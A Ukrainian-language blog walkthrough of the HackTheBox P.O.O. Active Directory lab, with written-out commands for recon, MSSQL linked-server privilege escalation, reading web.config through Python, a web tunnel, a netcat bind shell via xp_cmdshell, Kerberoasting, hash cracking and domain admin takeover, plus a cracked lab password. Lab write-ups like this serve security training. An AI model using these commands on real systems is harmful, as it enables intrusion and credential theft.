6. HackTheBox endgame. Level Medium: Проходження лабораторії Professional Offensive Operations. Пентест Active Directory

10.12.2024 3 хвилин Автор: Lady Liberty

У цій статті детально розглядається процес проходження міні-лабораторії P.O.O. на платформі HackTheBox, призначеної для перевірки навичок на всіх етапах атак у середовищі Active Directory. Читач дізнається, як скомпрометувати доступний хост, підвищити привілеї та захопити весь домен, збираючи при цьому п’ять флагів. Стаття містить покрокові інструкції з використання інструментів masscan, nmap, gobuster, а також аналізу файлів .DS_Store та експлуатації уразливостей IIS ShortName.

Покроковий гайд

У цій статті розберемо проходження не просто машини, а цілої міні-лабораторії з майданчика HackTheBox. POO створений для перевірки навичок на всіх етапах атак у невеликому середовищі Active Directory. Завдання полягає в компрометації доступного хоста, підвищенні привілеїв та фінальному захопленні всього домену, при цьому необхідно зібрати п’ять прапорів.

Підключення до лабораторії здійснюється через VPN. Для підключення рекомендується уникати використання робочого комп’ютера або хоста, на якому зберігаються важливі дані, оскільки в приватній мережі можуть знаходитися фахівці з високим рівнем компетенції в галузі інформаційної безпеки.

Intro

Цей endgame включає дві машини та містить п’ять прапорів.

Так само дається опис та адреса доступного хоста.

Recon flag

Ця машина має IP адресу 10.13.38.11, яку додаємо в /etc/hosts.

10.13.38.11 poo.htb

Насамперед скануємо відкриті порти. Оскільки сканувати всі порти nmap’ом довго, то спочатку зроблю це з допомогою masscan. Ми скануємо всі TCP та UDP порти з інтерфейсу tun0 зі швидкістю 500 пакетів на секунду.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

Тепер для отримання більш детальної інформації про послуги, що працюють на портах, запустимо сканування з опцією -А.

nmap -A poo.htb -p80,1433

У цьому середовищі представлені служби IIS та MSSQL, а також доступна інформація про реальне DNS-ім’я домену та комп’ютера. Домашня сторінка IIS відображається на веб-сервері.

Давайте переберемо директорії. Для цоьго використовується інструмент gobuster. У параметрах задається кількість потоків (128) через опцію -t, URL через -u, словник через -w, а також розширення файлів, що цікавлять, за допомогою -x.

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

Таким чином, ми маємо HTTP автентифікацію для директорії /admin, а також доступний файл сховища служби робочого столу .DS_Store. .DS_Store — це файли, в яких зберігаються налаштування для папки, такі як список файлів, розташування піктограм, вибране фонове зображення. Такий файл може потрапляти в каталог веб-сервера у веб-розробників. Таким чином, ми отримати інформацію про вміст каталогу. Для цього можна використовувати DS_Store Crawler.

python3 dsstore_crawler.py -i http://poo.htb/

Ми отримуємо вміст каталогу. Найцікавіше тут – це каталог /dev, з якого ми в двох гілках можемо подивитися вихідні файли db. Але ми можемо перші 6 символів імені файлів та директорій, якщо сервіс уразливий до IIS ShortName. Перевірити наявність цієї вразливості можна за допомогою IIS shortname Scanner.

Знаходиться текстовий файл, назва якого починається з «poo_co». У разі відсутності подальших чітких вказівок було вирішено вибрати зі словника всі директорії, назви яких починаються на «co».

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

Переберемо за допомогою wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

Знаходимо відповідне слово! Дивимося цей файл, зберігаємо облікові дані (судячи з параметру DBNAME, вони від MSSQL).

Здаємо прапор, і просуваємось на 20%.

Huh flag

Підключаємось до MSSQL, використовуємо DBeaver.

Нічого цікавого в цій базі не знаходимо, створюемо редактор SQL і перевіримо, які є користувачі.

У нас два користувачі. Давайте перевіримо свої привілеї.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

Таким чином, привілеїв немає. Давайте подивимося пов’язані сервери.

Так ми бачимо ще один SQL Server. Перевіримо виконання команд на цьому сервері за допомогою openquery().

І ми можемо навіть вибудовувати дерево запитів.

SELECT version FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITY\POO_PUBLIC", ''select @@version as version'');');
Під час виконання запиту на зв’язаний сервер він обробляється в контексті іншого користувача. Необхідно перевірити, від імені якого користувача виконуються операції на зв’язаному сервері.
SELECT name FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT user_name() as name');

А тепер подивимося у якому контексті виконуються запит із зв’язаного сервера на наш!

SELECT * FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITY\POO_PUBLIC", ''SELECT user_name() as name'');');

Цей контекст відповідає DBO, який зазвичай володіє всіма необхідними привілеями. Наступним кроком буде перевірка доступних привілеїв у випадку виконання запиту із зв’язаного сервера.

SELECT * FROM openquery("COMPATIBILITY\POO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITY\POO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

Як видно, усі привілеї доступні. Для створення адміністратора використовується команда, однак Openquery блокує доступ. У цьому випадку доцільно скористатися методом EXECUTE AT для виконання необхідних дій.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITY\POO_PUBLIC"') AT "COMPATIBILITY\POO_CONFIG";

Підключаємось з обліковими даними нового користувача, спостерігаємо нову базу даних flag.

Здаємо цей прапор і йдемо далі.

BackTrack flag

Для отримання шелу через MSSQL можна скористатися інструментом mssqlclient із пакету impacket. Цей метод дозволяє встановити з’єднання та виконати необхідні дії на сервері.

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

Нам потрібно роздобути паролі, і перше, що ми вже зустрічали, це сайт. Таким чином нам потрібен конфіг веб-сервера (кинути зручний шелл не виходить, мабуть працює firewall).

Але доступ заборонено. Хоча ми можемо прочитати файл із MSSQL, потрібно лише знати які мови програмування налаштовані. І в директорії MSSQL дізнаємось, що є Python.

Тоді прочитати файл web.config немає жодних проблем.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:\inetpub\wwwroot\web.config').read())"

Зі знайденими обліковими даними зайдемо на /admin і забираємо прапор.

Foothold flag

Використання брандмауера створює певні незручності, проте під час аналізу налаштувань мережі виявляється, що також застосовується протокол IPv6. Це відкриває додаткові можливості для подальших дій.

Додамо цю адресу в /etc/hosts.

dead:babe::1001 poo6.htb

Знову скануємо хост, але вже за протоколом IPv6.

І IPv6 доступна служба WinRM. Підключимося зі знайденими обліковими даними.

На робочому столі є прапор, здаємо його.

P00ned flag

Провівши розвідку на хості за допомогою winpeas нічого особливого не знаходимо. Тоді було ухвалено рішення знову шукати облікові дані. Але отримати всі SPN із системи через WinRM у нас не вийшло.

setspn.exe -T intranet.poo -Q */*

Давайте виконаємо команду через MSSQL.

За допомогою вказаного методу можна отримати SPN користувачів p00_hr і p00_adm, що робить їх вразливими до атаки Kerberoasting. Цей підхід дозволяє отримати хеші їхніх паролів.

Спочатку необхідно забезпечити стабільний шелл від імені користувача MSSQL. Однак через обмежений доступ, зв’язок із хостом можливий лише через порти 80 і 1433. У цьому випадку є можливість тунелювання трафіку через порт 80. Для реалізації цього використовується спеціальний додаток. Файл tunnel.aspx завантажується в домашню директорію веб-сервера за адресою C:\inetpub\wwwroot.

Але при спробі звернутися до нього отримуємо помилку 404. Це означає, що файли *.aspx не виконуються. Щоб файли з цим розширенням стали виконуватися, встановимо ASP.NET 4.5 в такий спосіб.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

І тепер при зверненні до tunnel.aspx отримуємо відповідь, що все готове до роботи.

Запускаємо клієнтську частину програми, яка виконує ретрансляцію трафіку. Всі дані перенаправляються з порту 5432 на сервер, забезпечуючи необхідний зв’язок для подальших дій.

І використовуємо proxychains, щоб надсилати трафік будь-якої програми через наш проксі. Додамо цей проксі файл конфігурації /etc/proxychains.conf.

Тепер завантажимо на сервер програму netcat, за допомогою якої зробимо стабільний bind шелл, і скрипт Invoke-Kerberoast, за допомогою якого виконаємо атаку Kerberoasting.

Тепер через MSSQL запускаємо листонер.

xp_cmdshell C:\temp\nc64.exe -e powershell.exe -lvp 4321

І підключаємось через наш проксі.

proxychains rlwrap nc poo.htb 4321

Отримаємо хеші.

. .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:\temp\kerb_hashes.txt' -Width 8000
type kerb_hashes.txt

Далі необхідно виконати перебір отриманих хешів. Через відсутність відповідних паролів в українських словниках було вирішено використати всі доступні словники паролів з набору Seclists. Для перебору хешів застосовується інструмент hashcat, який забезпечує ефективний і швидкий підбір.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

І знаходимо обидва паролі, перший у словнику dutch_passwordlist.txt, а другий у Keyboard-Combinations.txt.

І так у нас є три користувача, йдемо на контролер домену. Спочатку дізнаємось його адресу.

Вдалося отримати IP-адресу контролера домену. Наступним кроком буде отримання списку всіх користувачів домену та визначення, хто з них є адміністратором. Для цього використовується скрипт PowerView.ps1.

Скрипт завантажується в систему через підключення за допомогою evil-winrm. У параметрі -s вказується директорія, де знаходиться скрипт. Після підключення скрипт PowerView завантажується в середовище, що дозволяє зібрати необхідну інформацію про доменних користувачів і їхні ролі.

Тепер нам доступні усі його функції. Користувач p00_adm схожий на привілейованого, тому працюватимемо у його контексті. Створимо об’єкт PSCredential для цього користувача.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Тепер усі команди Powershell, де ми вкажемо Creds, будуть виконані від імені p00_adm. Давайте виведемо список користувачів та атрибут AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

Отже, наш користувач реально є привілейованим. Давайте глянемо, у яких групах він.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

Підтверджено, що користувач має права адміністратора домену, що надає можливість віддаленого входу на контролер домену. Виконується спроба підключення через WinRM із використанням налаштованого тунелю. Під час роботи з evil-winrm виникають помилки, пов’язані з роботою reGeorg.

Тоді скористаємось іншим, легшим, скриптом для підключення до WinRM. Відкриємо та поміняємо параметри для підключення.

Пробуємо підключитись, і ми в системі.

Але прапора нема. Тоді подивися користувачеві та перевіримо робочі столи.

У mr3ks виявлено прапор, що підтверджує успішне завершення лабораторії на 100%.

Ми впоралися.

Підписатися
Сповістити про
0 Коментарі
Найстаріші
Найновіше Найбільше голосів
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.